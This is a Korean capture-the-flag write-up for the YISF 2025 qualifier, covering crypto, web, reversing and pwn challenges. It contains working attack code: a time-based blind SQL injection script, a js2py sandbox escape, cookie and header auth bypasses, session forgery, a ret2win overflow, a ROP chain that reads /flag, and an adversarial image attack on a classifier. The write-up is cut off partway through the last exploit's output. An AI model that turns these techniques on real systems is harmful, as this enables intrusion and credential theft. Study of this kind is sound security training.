---
# System prepended metadata

title: YISF 2025 Quals | write-up
tags: [CTF]

---

# YISF 2025 Quals | write-up

## MISC

### Hello, YISF

처음에는 사진에 있는 `향설생활관1`이 정답인 줄 알았지만 7글자라 해서 찾아보니 `향설생활관1관`이었다.

**FLAG : YISF{순천향대학교_향설생활관1관}**

<br>

### FRR2MA 

RSA의 취약점을 이용한 공격으로 보이는데, F로 시작하는 공격들을 찾아보니 `Franklin-Reiter Related Message Attack`이 있었다.

이 취약점은 선형 관계인 `M1`과 `M2`의 암호화된 값인 `c1`, `c2`를 안다면 암호화된 값에서도 선형 관계가 나타나기 때문에 두 값을 알아낼 수 있다.

<br>

이 문제 또한 `related_key_int = (2 * key_int + 1) % n` 이 부분을 보면 선형 관계인 두 값(`related_key_int`, `key`)이 있고, 이 둘을 암호화한 값인 `c1`과 `c2` 또한 주어진다.

플래그는 `key` 값으로 `AES` 암호화된 값이기 때문에 `key` 값을 구하여 복호화 할 수 있다.

<br>

```python=
from Crypto.Util.number import long_to_bytes
from hashlib import sha256
from Crypto.Cipher import AES
from sympy import integer_nthroot

n = 110790383562224253098510939599833933412428635357837953728395109179813960729182816107988681436513743812819358361106923862730885343138633519926798065820463768625037480979941578471147298188077046651038356798626165262785021225924385199218137272470067134655209051616396196905472279764342469817762560739073895016319
e = 3
c1 = 4610221918541732456982225818778964440222694135208177035261128329594842025185271874296613353670426002500580058027573
enc_hex = "c7b357b8147b2c1aab85b8303a62019834a5e832cc16b52b598772734a90660562c881c06b74ca4cbea351e07c9e4435"

key_int, exact = integer_nthroot(c1, 3)
assert exact

key = long_to_bytes(int(key_int), 16)

aes_key = sha256(key).digest()[:32]
cipher = AES.new(aes_key, AES.MODE_ECB)
flag = cipher.decrypt(bytes.fromhex(enc_hex)).rstrip(b"\x00")

print(flag.decode())
```

**FLAG : YISF{you_Know?_frAnK11N_477CK_CryptO}**

<br>

### apple_game_crypto

![image](https://hackmd.io/_uploads/ByDWZV4uxe.png)

재미있는 사과 게임에서 50점을 달성하면 Google Drive 링크에서 두 png 파일을 준다.

<br>

별 다른 정보도 없이 암호를 해독하라고 해서 조금 헤매다가, 두 파일의 크기가 같은 것을 보고 서로의 RGB 값을 XOR 연산을 해보았더니 플래그가 나왔다.

```python=
from PIL import Image
import numpy as np

img1 = Image.open('image_A.png').convert('RGB')
img2 = Image.open('image_B.png').convert('RGB')

width = min(img1.width, img2.width)
height = min(img1.height, img2.height)

img1 = img1.resize((width, height))
img2 = img2.resize((width, height))

arr1 = np.array(img1)
arr2 = np.array(img2)

xor_result = np.bitwise_xor(arr1, arr2)

result_img = Image.fromarray(xor_result)
result_img.save('out.png')
result_img.show()
```

<br>

![image](https://hackmd.io/_uploads/HyyBLgS_ex.png)


**FLAG : YISF{0hh!_y0ur_v3ry_g00d_4ppl3_g4m3_4nd_rgb_x0r}**

<br>

### Applelephant

![image](https://hackmd.io/_uploads/BJpKuQU_xl.png)

사진을 입력받아서 `mse(Mean Squared Error, 평균 제곱 오차)`를 계산하여 `predicted_class_name == 'apple' and confidence > 0.95`와 `mse < 0.01 and mse > 0` 두 조건을 모두 만족하면 플래그를 출력한다.

<br>

```python=
import tensorflow as tf
import numpy as np
from PIL import Image

model = tf.keras.models.load_model('applelephant.h5')

arr = np.array(Image.open('elephant.jpg').convert('RGB').resize((224, 224))) / 255.0

x0 = tf.constant(arr[None, ...], tf.float32)
x = tf.Variable(x0)

eps = 0.08
alpha = 0.01

for _ in range(300):
    with tf.GradientTape() as t:
        t.watch(x)
        p = tf.nn.softmax(model(x, training=False))
        loss = tf.reduce_mean(-tf.math.log(tf.clip_by_value(p[:, 0], 1e-6, 1.0)))
    g = t.gradient(loss, x)
    x.assign_sub(alpha * tf.sign(g))
    x.assign(tf.clip_by_value(x, x0 - eps, x0 + eps))
    x.assign(tf.clip_by_value(x, 0.0, 1.0))
    p_val = tf.nn.softmax(model(x, training=False))[0, 0].numpy()
    mse = np.mean((x.numpy()[0] - arr) ** 2)
    if p_val > 0.96 and 0 < mse < 0.01:
        break

adv = (x.numpy()[0] * 255).astype(np.uint8)
Image.fromarray(adv).save('attack.png')
```

위 코드로 픽셀에 변화를 주면서 `mse`가 0.01을 넘지 않으면서 `predicted_class_name == 'apple'` 조건을 만족하도록 하는 파일을 생성하였다.

<br>

![image](https://hackmd.io/_uploads/HyAZ0VIuxx.png)

**FLAG : YISF{Wh0_s4ys_3l3ph4nts_c4nt_b3_4ppl3s?_th15_i5_4pp13!}**

<br>

### wallet

`ETH vanity address Brute Force` 문제이다. 난수로 후보 프라이빗키를 만들고, 공개키 · `Keccak-256`로 주소를 계산한 뒤, 제시된 접두/접미 패턴과 맞을 때까지 브루트포스하면 된다.

<br>

```python=
from pwn import remote, context
from coincurve import PublicKey
from eth_hash.auto import keccak
import os, re, time, multiprocessing as mp

HOST = os.getenv("HOST", "211.229.232.98")
PORT = int(os.getenv("PORT", "20799"))
PROCS = int(os.getenv("PROCS", max(1, (os.cpu_count() or 2))))
READ_TIMEOUT = float(os.getenv("READ_TIMEOUT", "8"))
DEBUG = os.getenv("DEBUG", "0") == "1"
context.log_level = "error"

ANSI = re.compile(r'\x1b\[[0-9;]*[A-Za-z]')
RULE = re.compile(r"(starting|ending)\s+with\s+(?:['\"])?(?:0x)?([0-9a-fA-F]+)(?:['\"])?", re.I)
ROUND = re.compile(r"round\s+(\d+)\s*/\s*(\d+)", re.I)

def worker(mode, pat, q, stop):
    chk = (lambda a: a.startswith(pat)) if mode == "starting" else (lambda a: a.endswith(pat))
    while not stop.is_set():
        for _ in range(2048):
            priv = os.urandom(32)
            try:
                pub = PublicKey.from_valid_secret(priv).format(compressed=False)[1:]
                addr = keccak(pub)[-20:].hex()
                if chk(addr):
                    q.put(priv.hex()); stop.set(); return
            except Exception:
                continue
        if stop.is_set(): return

if __name__ == "__main__":
    try: mp.set_start_method("fork")
    except Exception: pass

    r = remote(HOST, PORT)
    buf = ""; end = time.time() + READ_TIMEOUT
    while time.time() < end:
        try: chunk = r.recv(timeout=0.5)
        except EOFError: break
        if not chunk: continue
        buf += chunk.decode("utf-8", "ignore")
        if "Private key" in buf or ">>> " in buf: break
    s = ANSI.sub('', buf.replace('\r','\n'))
    m = ROUND.search(s); total = int(m.group(2)) if m else 100
    done = max(0, (int(m.group(1)) if m else 1) - 1)
    print(f"[Progress] {done}/{total} completed")

    while done < total:
        s = ANSI.sub('', buf.replace('\r','\n'))
        tgt_line = ""
        for ln in reversed([x.strip() for x in s.splitlines() if x.strip()]):
            if "find a private key" in ln.lower() or "starting with" in ln.lower() or "ending with" in ln.lower():
                tgt_line = ln; break
        m = RULE.search(tgt_line) or RULE.search(s)
        if not m:
            if DEBUG: print("PARSE_FAIL:", repr(s[-200:]))
            break
        mode, pat = m.group(1).lower(), m.group(2).lower()

        with mp.Manager() as M:
            q, stop = M.Queue(), M.Event()
            ps = [mp.Process(target=worker, args=(mode, pat, q, stop)) for _ in range(PROCS)]
            for p in ps: p.start()
            key = q.get()
            stop.set()
            for p in ps:
                if p.is_alive(): p.terminate()

        r.sendline(key.encode())

        ok = False
        t_end = time.time() + 6
        while time.time() < t_end:
            try: line = r.recvline(timeout=0.8).decode("utf-8", "ignore")
            except EOFError: break
            if not line: break
            print(line.strip())
            low = line.lower()
            if "proceeding to the next round" in low or "[!] correct" in low:
                ok = True; break
            if "congratulations" in low or "flag:" in low:
                ok = True
        if not ok:
            print("[!] Stopped."); break

        done += 1
        print(f"[Progress] {done}/{total} completed ({done*100/total:.1f}%)")
        if done >= total:
            t_end = time.time() + 5
            while time.time() < t_end:
                try: ln = r.recvline(timeout=0.8).decode("utf-8", "ignore")
                except EOFError: break
                if not ln: break
                print(ln.rstrip())
            break

        buf = ""; end = time.time() + READ_TIMEOUT
        while time.time() < end:
            try: chunk = r.recv(timeout=0.5)
            except EOFError: break
            if not chunk: continue
            buf += chunk.decode("utf-8", "ignore")
            if "Private key" in buf or ">>> " in buf: break
```

위 코드를 `PROCS=10 python3 wallet.py` 명령으로 실행하였다.

```
[***] Congratulations! You have passed all rounds! [***]
FLAG: b'YISF{Foundry_IS_4_Bl4zing_F4s7_pOr7aB1E_AND_moDu1Ar_7OOlkit!!}'
```

**FLAG : YISF{Foundry_IS_4_Bl4zing_F4s7_pOr7aB1E_AND_moDu1Ar_7OOlkit!!}**

<br>

## WEB

### OldMyBlog

```python
@app.route("/flag", methods=["GET"])
@require_xhr_or_fetch
def flag():
    return FLAG
```

위 코드를 보면 `@require_xhr_or_fetch` 데코레이터를 확인할 수 있는데, 이 데코레이터는 `X-Requested-With`, `Accept`, `Sec-Fetch-Mode` 값만 보고 `AJAX` 요청인지 판단하게 된다. 

<br>

따라서 아래 코드로 `Accept: application/json` 헤더를 추가하면 우회할 수 있다.

```javascript
fetch('/flag', { 
  headers: { 'Accept': 'application/json' } 
})
  .then(r => r.text())
  .then(alert)
```

<br>

![image](https://hackmd.io/_uploads/rJUKxLU_eg.png)

**FLAG : YISF{flag_xss_markdown_xss}**

<br>

### Escape Box 

```javascript
@app.route('/js', methods=['GET', 'POST'])
def js():
    if not required_login():
        return redirect(url_for("login", error="Login required"))

    result = ''
    code = ''
    if request.method == 'POST':
        code = request.form.get('code')

        try:
            old_stdout = sys.stdout
            sys.stdout = io.StringIO()

            context = js2py.EvalJs()
            
            def safe_importer(module_name):
                allowed_modules = ['vuln']
                if module_name in allowed_modules:
                    return __import__(module_name)
                return FakeModule(module_name)

            def js_import_wrapper(name):
                if hasattr(name, 'to_python'):
                    name = name.to_python()
                return safe_importer(name)

            context = js2py.EvalJs()
            context.__import__ = js_import_wrapper
            context.require = js_import_wrapper
            context.execute(code)

            result = sys.stdout.getvalue().strip()
            if not result:
                result = "[+] Executed. No output."

        except PyJsException as e:
            result = f"[!] Error: {str(e)}"
        except Exception as e:
            result = f"[!] Error: {e}"
        finally:
            sys.stdout = old_stdout

    return render_template("jsbox.html", result=result, code=code)
```

위 코드를 보면 `/js`에서 `js2py`로 서버에서 사용자 입력을 실행한다. `vuln` 모듈만 허용해준 걸 볼 수 있는데, 따라서 `__import__('vuln')`로 서버 내부 파이썬 모듈을 그대로 호출할 수 있다.

<br>

```javascript
var v = __import__('vuln');
v.admin_account();
throw new Error(v.get_account(1));
```

`/js`에서 위 명령어를 실행하면 base64 인코딩된 admin 계정이 출력된다.

![image](https://hackmd.io/_uploads/HJW-KII_xg.png)

<br>

admin 계정으로 로그인하면 플래그가 출력된다.

![image](https://hackmd.io/_uploads/HyK8KLU_lx.png)

**FLAG : YISF{35c4p3d_j5_s4ndb0x_v1a_js2py}**

<br>

### Tralalero Tralala

![image](https://hackmd.io/_uploads/BJI8i8IOlx.png)

<br>

```javascript
  const isAdmin = request.cookies.get('admin')?.value;

  if (url.pathname.startsWith('/admin')) {
    if (!isAdmin) {
      return NextResponse.redirect(new URL('/?error=You are not Tralalero Tralala', request.url));
    }
  }
```

`middleware.js` 파일의 코드를 보면 `admin`이라는 이름의 쿠키와 값이 존재하는지 여부만 검증하기 때문에 admin이라는 이름의 쿠키를 만들어서 `/admin/secret`에 접속하면 플래그가 출력된다.

![image](https://hackmd.io/_uploads/SykEbP8_ex.png)

**FLAG : YISF{Tra1a1er0_Tra1a1a_midd1eware_bypass}**

<br>

### Session_Recipe

![image](https://hackmd.io/_uploads/S1x0mPLulg.png)

```go
err := db.DB.
    Where(fmt.Sprintf("user_id='%s'", username)).
    First(&user).Error
```

로그인 페이지가 있는데, 위 코드를 보면 입력을 그대로 SQL 리터럴에 삽입하기 때문에 SQLI가 가능하다. 하지만 `WHERE` 문 안에 Injection 되기 때문에 `Blind SQL Injection`을 통해 패스워드를 알아내야 한다.

<br>

```python
import requests, time
B = "http://211.229.232.98:20511/login"; T = 20

def t(p):
    t0 = time.time(); requests.post(B, data={"username":p,"password":"x"}, timeout=T); return time.time()-t0

def slowp(cond): return f"superuser' AND (SELECT CASE WHEN {cond} THEN hex(zeroblob(5e8)) ELSE 1 END)--"

base = t("superuser' AND 1=0--"); slow = t(slowp("1=1")); thr = (base+slow)/2

pw = ""; L = 50
for i in range(1, L+1):
    if (i-1) % 5 == 0: base, slow = t("superuser' AND 1=0--"), t(slowp("1=1")); thr = (base+slow)/2
    lo, hi = 33, 126
    while lo < hi:
        mid = (lo+hi+1)//2
        p = slowp(f"unicode(substr((SELECT user_pw FROM users WHERE user_id='superuser'), {i}, 1)) >= {mid}")
        dt = sorted([t(p) for _ in range(3)])[1]
        if dt > thr: lo = mid
        else: hi = mid-1
    pw += chr(lo); print(f"[{i}/50] {pw}", flush=True)
print("[PW]", pw)
```

`pw : N]A<$tt(+F!o@{8K4MLGyH<jAr#{D9_6];}xVaVaq$5p|{Hyyv`

<br>

![image](https://hackmd.io/_uploads/r1N2KvLugg.png)

`superuser`로 로그인을 해도 `Admin Panel`에서 `session_id`를 검증하기 때문에 플래그를 얻을 수 없다.

`session_id`는 앞 8바이트는 `Login Time`의 Unix 나노초를 빅 엔디안으로 패킹하고 아무 8바이트에 base64로 인코딩한 뒤 끝에 @T를 붙이면 된다.

```python
import base64, struct, os, datetime
t = datetime.datetime.fromisoformat("2025-08-10T18:48:35+00:00")
b = struct.pack(">Q", int(t.timestamp() * 1e9)) + os.urandom(8)
token = base64.b64encode(b).decode().rstrip("=") + "@T"
print(token)
```

<br>

![image](https://hackmd.io/_uploads/H15oYwLuge.png)

`session_id`를 변경 후 Admin Panel에 접속하면 개발자 도구에서 플래그를 확인할 수 있다.

**FLAG : YISF{s3ss10n_1nj3ct10n_w1th_g0rm_sq71}**

<br>

## Reversing

### jump!

![image](https://hackmd.io/_uploads/B1P56DL_lx.png)

디컴파일된 코드를 보면 v5에는 아무 값도 들어가지 않고, 뭔가 이상함을 알 수 있다.

<br>

```asm
mov     [rbp+var_B8], 0
lea     rax, format     ; "YISF{"
mov     rdi, rax        ; format
mov     eax, 0
call    _printf
cmp     [rbp+var_B8], 1
jnz     short loc_15C1
```

위 코드를 보면 `[rbp+var_B8]`을 넣고 `[rbp+var_B8]`을 1과 비교하여 `jnz`로 분기하는 것을 알 수 있다. 디컴파일이 잘못된 것 같다. `jnz`를 `jz`로 패치하여 중간에 있는 코드를 건너뛰지 않도록 하였다.

<br>

```
t43w00@DESKTOP-PO6TNV7:~$ ./jump
YISF{we1C0Me_TO_yI5F__rEv3rS3_3NgINe3riN9}**
```

**FLAG : YISF{we1C0Me_TO_yI5F__rEv3rS3_3NgINe3riN9}**

<br>

### Verifier

![image](https://hackmd.io/_uploads/BkkVVuIugx.png)

각 블록을 모두 더해 `v3`에 저장하고 `v3`의 4바이트를 2번 반복해 8바이트 키를 생성한다.

name과 이 키를 XOR하여 8바이트 값을 만들고 `s1`이 `unk_2139`와 같지 않으면 종료된다.

<br>

![image](https://hackmd.io/_uploads/SJX-rdIuee.png)

시리얼은 특정 연산을 거쳐 해시값과 비교하여 네 블록 모두 같아야 한다. 

<br>

세 번째 함수는 플래그를 동적으로 생성해 호출하는 함수이기 때문에, `serial`과 `name`만 구하면 되기에 분석할 필요는 없다. 

```python=
import hashlib
import itertools
import string

target_hashes = [
    "3355b58b97617985ad032226043d3008c5dc915288326e0074654ba344f5b471",
    "d2c2198d191d3c2f14bba11fe2bb4396bd1dfb7d3df32b70e472d15a72eed13f",
    "74515ecf40255d006ecaca61026235e0694b9916be6fbdd62c4581d58664b5b4",
    "a77b3237cb73acfb0e31f93694398f8e7dc158edb14552cbede81d9bf3839e86"
]

charset = string.ascii_lowercase + string.digits

def find_block_for_hash(target_hash):
    for combo in itertools.product(charset, repeat=4):
        block = ''.join(combo)
        if hashlib.sha256(block.encode()).hexdigest() == target_hash:
            return block
    return None

serial_blocks = [find_block_for_hash(h) for h in target_hashes]
serial = "-".join(serial_blocks)
print("Serial : ", serial)

unk_2139 = bytes([0xAC, 0xF5, 0x1C, 0x3E, 0xE7, 0xF4, 0x1B, 0x6D])

def block_to_u32_le(block):
    b = block.encode()
    return b[0] | (b[1] << 8) | (b[2] << 16) | (b[3] << 24)

vals = [block_to_u32_le(b) for b in serial_blocks]
v3 = sum(vals) & 0xFFFFFFFF

key_bytes = bytes([(v3 >> (8*i)) & 0xFF for i in range(4)] * 2)

name_bytes = bytes([u ^ k for u, k in zip(unk_2139, key_bytes)])
name = name_bytes.decode('ascii')

print("Name : ", name)
```

<br>

```
t43w00@DESKTOP-PO6TNV7:~$ python3 solve.py
Serial :  312a-91ac-41ca-5132
Name found :  y15f2025

t43w00@DESKTOP-PO6TNV7:~$ ./verify y15f2025 312a-91ac-41ca-5132
YISF{6eb5632b9271329694aa196d7f27eb0ccd653407bfa45271efe86433747c02f75a761b8c35a62a48bade6853b9fd46f43b82edaf9d53e939388202634f541da9}
```

**FLAG : YISF{6eb5632b9271329694aa196d7f27eb0ccd653407bfa45271efe86433747c02f75a761b8c35a62a48bade6853b9fd46f43b82edaf9d53e939388202634f541da9}**

<br>

### ANGRybird

서버에 접속해보니 오토 리버싱 문제였고, 문제 제목을 보니 ANGR을 이용한 풀이라는 것을 알 수 있었다.

angr을 사용하여 자동으로 문제를 풀이하는 솔버를 통해 풀이하였다.

입력값의 길이를 짧은 값부터 시도하면 짧은 값 중에 조건을 만족하는 값이 생겨 중간에 틀릴 수 있기에 긴 값부터 시도하도록 하였다. 

```python
from pwn import *
import angr, claripy
import os, re, base64, time

HOST, PORT = "211.229.232.98", 20401
BAD = b"WRONG"

def find_and_consume_elf(buf, gate_num):
    start_pat = f"--- GATE {gate_num} ---".encode()
    end_pat   = b"INPUT>"
    sidx = buf.find(start_pat)
    if sidx < 0:
        return None, buf
    nl = buf.find(b"\n", sidx)
    sidx = nl + 1 if nl != -1 else sidx + len(start_pat)
    eidx = buf.find(end_pat, sidx)
    if eidx < 0:
        return None, buf
    b64 = buf[sidx:eidx]
    b64 = re.sub(rb'\x1b\[[0-9;]*m', b'', b64)
    b64 = re.sub(rb'[\r\n\t ]+', b'', b64)
    elf = base64.b64decode(b64, validate=False)
    assert elf[:4] == b'\x7fELF', "not ELF"
    return elf, buf[eidx + len(end_pat):]

def recv_elf_for_gate(io, gate_num, buf=b"", soft_timeout=0.6, hard_deadline=6.0):
    t0 = time.time()
    while time.time() - t0 < hard_deadline:
        elf, buf = find_and_consume_elf(buf, gate_num)
        if elf:
            return elf, buf
        try:
            chunk = io.recv(8192, timeout=soft_timeout) or b""
        except EOFError:
            raise RuntimeError(f"Connection closed by server during GATE {gate_num} ELF recv")
        buf += chunk
    raise RuntimeError(f"ELF capture timeout for GATE {gate_num}")

def drain_after_submit(io, next_gate_num, buf=b"", soft_timeout=0.6, hard_deadline=3.0):
    t0 = time.time()
    next_marker = f"--- GATE {next_gate_num} ---".encode()
    acc_print = b""
    while time.time() - t0 < hard_deadline:
        if b"WRONG" in buf:
            acc_print += buf
            return "wrong", b"", acc_print
        if next_marker in buf:
            return "next", buf, acc_print or buf
        if b"OK" in buf:
            acc_print += buf
            return "ok", b"", acc_print

        try:
            chunk = io.recv(8192, timeout=soft_timeout) or b""
        except EOFError:
            return "closed", b"", acc_print
        buf += chunk
        acc_print += chunk
    return "timeout", buf, acc_print

def solve_with_angr(path, minL=6, maxL=10, timeout=2.0, ok_tokens=None):
    proj = angr.Project(path, auto_load_libs=False)

    def try_solve(printable):
        for L in range(maxL, minL - 1, -1):
            x  = claripy.BVS("x", 8*L)
            nl = claripy.BVV(b"\n")
            st = proj.factory.full_init_state(stdin=x.concat(nl))
            for i in range(L):
                b = x.get_byte(i)
                if printable:
                    st.solver.add(b >= 0x20, b <= 0x7e)
                else:
                    st.solver.add(b != 0x00, b != 0x0a, b != 0x0d)
            sim = proj.factory.simulation_manager(st)
            def is_ok(s):
                out = s.posix.dumps(1)
                return any(tok in out for tok in ok_tokens) if ok_tokens else (b"ROUND1_OK" in out)
            def is_bad(s): return BAD in s.posix.dumps(1)
            sim.explore(find=is_ok, avoid=is_bad, timeout=timeout)
            if sim.found:
                key = sim.found[0].solver.eval(x, cast_to=bytes)
                if len(key) == L:
                    return key
        return None

    key = try_solve(printable=True)
    if key is None:
        key = try_solve(printable=False)
    return key

def main():
    LMIN, LMAX, TIMEOUT = 6, 10, 4.0
    ROUNDS = 50

    io = remote(HOST, PORT)
    buf = b""

    for gate in range(1, ROUNDS+1):
        elf, buf = recv_elf_for_gate(io, gate, buf)
        fname = f"gate{gate}_{int(time.time())}.elf"
        with open(fname, "wb") as f:
            f.write(elf)
        os.chmod(fname, 0o755)

        ok_tokens = [b"ROUND1_OK", f"ROUND{gate}_OK".encode()]
        key = solve_with_angr(fname, minL=LMIN, maxL=LMAX, timeout=TIMEOUT, ok_tokens=ok_tokens)
        log.success(f"[GATE {gate}] saved={fname} key={key!r}")

        io.send(key + b"\n")

        status, buf, text = drain_after_submit(io, gate+1, buf)
        if text:
            try: print(text.decode(errors="ignore"))
            except: print(repr(text))

        if status in ("wrong", "closed"):
            log.warning(f"Stopping at GATE {gate}: status={status}")
            break
        if status == "timeout":
            log.warning(f"[GATE {gate}] no clear result before timeout; continuing with buffered data...")

    try:
        tail = io.recvrepeat(1.0)
        if tail:
            print(tail.decode(errors="ignore"))
    except EOFError:
        pass
    io.close()

if __name__ == "__main__":
    main()
```

<br>

```
GATE 50 CLEAR!!!

CONGRATS! Here is your flag:
YISF{d1d_y0u_kn0w_4n6rrrrr?}
```

**FLAG : YISF{d1d_y0u_kn0w_4n6rrrrr?}**

<br>

### too many functions

![image](https://hackmd.io/_uploads/rkcqq5Udlg.png)

코드의 마지막 부분을 보면 입력값의 변환된 134 바이트를 비교하는 것을 알 수 있다.

<br>

동적 분석으로 입력값이 어떻게 변화하는지 보면 `AAAA...`를 입력했더니 `CCCC...`, `((((...`와 같이 모든 인덱스가 같이 변화하는 것을 확인할 수 있었다.

![image](https://hackmd.io/_uploads/ryN4iqLOex.png)

<br>

따라서 마지막에 비교하는 값의 첫 5바이트인 `SsGm\`과 마지막 바이트 `\033`이 `YISF{...}`와 되어야 한다.

<br>

```python=
from z3 import *

data = b"SsGm\027-\213\213\217'+\217\223'\217+'\211'\201-\211\217\221\203+'#\215\217\213\213-+\213\213\215\217+\205\203\221\201\215)'\215\223\205\221#\223\203%\213-'-\205\223\215\205+\205\207\211%\221\221-\215\205\221%\215''\217\223\205%%\201\211\211\203#\203\213--%\223\211#\207%\217'\205\211)\221-\223)\211\221\213+-'\215\207\215\213\223)\203'\213\205\205'\215)'\221%)-\221#\033"

def ror_var(x, r: IntNumRef):
    e = If(r == 0, x, RotateRight(x, 1))
    for i in range(2, 8):
        e = If(r == i, RotateRight(x, i), e)
    return e

r = Int('r')
p = BitVec('p', 8)
m = BitVec('m', 8)
c = BitVec('c', 8)
q = BitVec('q', 8)

N = len(data)
Y = [BitVec(f"Y{i}", 8) for i in range(N)]

s = Solver()
s.add(And(r >= 0, r <= 7))
s.add((c & (~m)) == c)

prefix = b"YISF{"

for i, ch in enumerate(prefix):
    s.add(Y[i] == BitVecVal(ch, 8))
s.add(Y[-1] == BitVecVal(ord('}'), 8))

for i in range(len(prefix), N - 1):
    yi = Y[i]
    s.add(Or(And(yi >= BitVecVal(ord('0'), 8), yi <= BitVecVal(ord('9'), 8)),
             And(yi >= BitVecVal(ord('a'), 8), yi <= BitVecVal(ord('f'), 8))))

for i, b in enumerate(data):
    X = BitVecVal(b, 8)
    s.add(Y[i] == (ror_var(((X ^ p) & m) | c, r) ^ q))

if s.check() != sat:
    print("unsat")
    exit(1)

model = s.model()
rv = model[r].as_long()
pv = model[p].as_long()
mv = model[m].as_long()
cv = model[c].as_long()
qv = model[q].as_long()

def ror(b, r_):
    r_ %= 8
    return ((b >> r_) | ((b << (8 - r_)) & 0xFF)) & 0xFF

plain_bytes = bytes((ror(b ^ pv, 0) for b in b""))

decoded = bytes(
    (ror(((b ^ pv) & mv) | cv, rv) ^ qv) for b in data
)

print(decoded.decode('ascii'))
```

여러 비트 연산을 해서 플래그 포맷과 일치하는 피연산자 값을 `z3`로 구해 다른 값들에도 연산해주었다.

<br>

```
t43w00@DESKTOP-PO6TNV7:~$ python3 solve.py
YISF{f557ce79c7ec4c0f4781eca6755fe5567e21806dc6928a91b5fcf2962e234b88f628b6cc792bb0441a15ffb94a3b7c24d8f9d485efc63659d1c522c6dc8bdf8a}
```

**FLAG : YISF{f557ce79c7ec4c0f4781eca6755fe5567e21806dc6928a91b5fcf2962e234b88f628b6cc792bb0441a15ffb94a3b7c24d8f9d485efc63659d1c522c6dc8bdf8a}**

<br>

## PWN

###  Pheidole Noda

![image](https://hackmd.io/_uploads/HyrgjdUueg.png)

`read`에서 BOF가 터진다.

<br>

![image](https://hackmd.io/_uploads/B1DXjOLuge.png)

플래그를 출력해주는 함수가 있어서 이 함수의 주소로 `ret`를 덮으면 될 것 같다.

<br>

```python
from pwn import *

r = remote('211.229.232.98', 20301)

payload = b'A' * 120 + p64(0x4011fe - 8)

r.send(payload)

r.interactive()
```

```
t43w00@DESKTOP-PO6TNV7:~$ python3 exploit.py
[+] Opening connection to 211.229.232.98 on port 20301: Done
[*] Switching to interactive mode
=============== AOF =============
[>] Welcome to the ant colony!
[>] You can relocate ants....
[>] Pls ants relocate new colony!!
> YISF{w0rk3r_4nt5_f0und_n3w_h0m3}
[*] Got EOF while reading in interactive
$
```

**FLAG : YISF{w0rk3r_4nt5_f0und_n3w_h0m3}**

<br>

### Simple_SP

![image](https://hackmd.io/_uploads/S1URhO8_gl.png)

첫 번째 함수에서는 첫 번째 `read`에서 BOF가 터져서 9바이트 입력하면 canary leak을 할 수 있다.

<br>

![image](https://hackmd.io/_uploads/BkeMpuIOxg.png)



<br>

```python=
from pwn import *

context.arch = 'amd64'
# context.log_level = 'debug'

elf  = ELF('./Simple_SP')
libc = ELF('./libc.so.6')

# io = process('./Simple_SP')
io = remote('211.229.232.98', 20302)

def q(blob, off): return u64(blob[off:off+8]) if off+8 <= len(blob) else None

# canary leak
io.recvuntil(b'Enter your payload:')
io.send(b'A' * 9)
io.recvuntil(b'You entered: AAAAAAAAA')
canary = u64(b'\x00' + io.recv(7))

# canary restore
io.send(b'A' * 8 + p64(canary))
io.recvuntil(b'You entered: ')
io.recvline()
io.send(b'B'*8 + p64(canary))

io.recvuntil(b'read address: ')
read_addr = int(io.recvline().strip(), 16)
libc_base = read_addr - libc.symbols['read']
libc.address = libc_base

rop = ROP(libc)
pop_rdi      = rop.find_gadget(['pop rdi','ret']).address
pop_rsi      = rop.find_gadget(['pop rsi','ret']).address
pop_rdx_r12  = rop.find_gadget(['pop rdx','pop r12','ret']).address
leave_ret    = rop.find_gadget(['leave','ret']).address
g_xchg       = rop.find_gadget(['xchg rax, rdi','ret'])
g_mov        = rop.find_gadget(['mov rdi, rax','ret'])
movfd        = g_xchg.address if g_xchg else (g_mov.address if g_mov else None)

read_fn  = libc.symbols['read']
open_fn  = libc.symbols['open']
write_fn = libc.symbols['write']

bss     = libc.bss() + 0x800
new_rbp = bss + 0x600
pathbuf = bss + 0x200
outbuf  = bss + 0x400
size_p  = 0x20
size_r  = 0x200

stage2  = b''
stage2 += p64(new_rbp)

# read(0, pathbuf, size_p)
stage2 += p64(pop_rdi) + p64(0)
stage2 += p64(pop_rsi) + p64(pathbuf)
stage2 += p64(pop_rdx_r12) + p64(size_p) + p64(0)
stage2 += p64(read_fn)

# open(pathbuf, 0, 0)
stage2 += p64(pop_rdi) + p64(pathbuf)
stage2 += p64(pop_rsi) + p64(0)
stage2 += p64(pop_rdx_r12) + p64(0) + p64(0)
stage2 += p64(open_fn)

# rdi = fd (rax) or fallback 3
if movfd:
    stage2 += p64(movfd)
else:
    stage2 += p64(pop_rdi) + p64(3)
    
# read(fd, outbuf, size_r)
stage2 += p64(pop_rsi) + p64(outbuf)
stage2 += p64(pop_rdx_r12) + p64(size_r) + p64(0)
stage2 += p64(read_fn)

# write(1, outbuf, size_r)
stage2 += p64(pop_rdi) + p64(1)
stage2 += p64(pop_rsi) + p64(outbuf)
stage2 += p64(pop_rdx_r12) + p64(size_r) + p64(0)
stage2 += p64(write_fn)

size_stage2 = len(stage2)

io.recvuntil(b'Enter your payload:')
prefix = b'A'*8 + p64(canary) + p64(bss)
stage1  = (
    p64(pop_rdi) + p64(0) +
    p64(pop_rsi) + p64(bss) +
    p64(pop_rdx_r12) + p64(size_stage2) + p64(0) +
    p64(read_fn) +
    p64(leave_ret)
)
payload1 = (prefix + stage1).ljust(0x68, b'\x00')
io.send(payload1)

io.send(stage2)
sleep(0.03)
io.send(b'/flag\x00'.ljust(size_p, b'\x00'))

io.interactive()
```

```
t43w00@DESKTOP-PO6TNV7:~$ python3 exploit.py
[*] '/home/t43w00/Simple_SP'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
[*] '/home/t43w00/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
[+] Opening connection to 211.229.232.98 on port 20302: Done
[*] Loaded 219 cached gadgets for './libc.so.6'
[*] Switching to interactive mode

You entered: AAAAAAAA
